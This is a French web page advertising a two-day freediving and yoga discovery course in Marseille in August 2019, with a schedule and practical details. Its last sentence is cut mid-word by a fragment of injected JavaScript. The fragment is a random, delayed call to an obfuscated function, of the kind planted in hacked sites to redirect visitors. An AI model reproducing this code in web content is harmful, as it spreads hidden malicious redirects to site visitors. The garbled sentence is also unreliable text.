Stage découverte Apnée et Yoga à Marseille Pointe Rouge Aout 2019

Date/heure
Date(s) - 31/08/2019 - 01/09/2019
7:45 am - 5:30 pm

Emplacement
Dune - Marseille Pointe Rouge

Catégories

• Apnée

Public :
Ce stage s’adresse à tout type de personne souhaitant découvrir l’apnée. Le stage est dimensionné pour un public débutant et convient aussi bien à des personnes à l’aise dans l’eau que l’inverse.

Durée du stage :

2 jours

Objectif du stage :

Découvrir le lâcher-prise par l’apnée

Le but de ce stage est de se faire du bien, de découvrir une pratique en plein essor et redécouvrir ses capacités respiratoires et se laisser surprendre.
Le stage est articulé autour de 3 axes :

Apnée, yoga, découverte du milieu marin.

Repas du midi :

Vous pouvez les apportez vous même ou il y a quelques brasseries à proximité du centre.

A prévoir (obligatoire) :

Un certificat médical de non contre indication à la pratique de l’apnée.

Déroulement type du stage (dépend des conditions météo) :

Samedi matin:

• Rdv 8h15 au centre d’apnée
• Techniques de respiration
• Sortie apnée en mer

Samedi après-midi:

• Cours théorique « l’apnée pour les curieux »
• Séance de Yoga traditionnel
• 17h30 fin de journée

Dimanche matin:

• Rdv 8h15 au centre d’apnée
• Yoga de relaxation pour l’apnée
• Sortie apnée en mer

Dimanche après-midi:

• Sortie en mer en exploration
• Débriefing de fin de stage
• 17h30 fin de journée

Suite à votre inscription vous recevrez un mail vous demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andant de remplir un formulaire plus détaillé pour mieux vous connaitre.

Réservations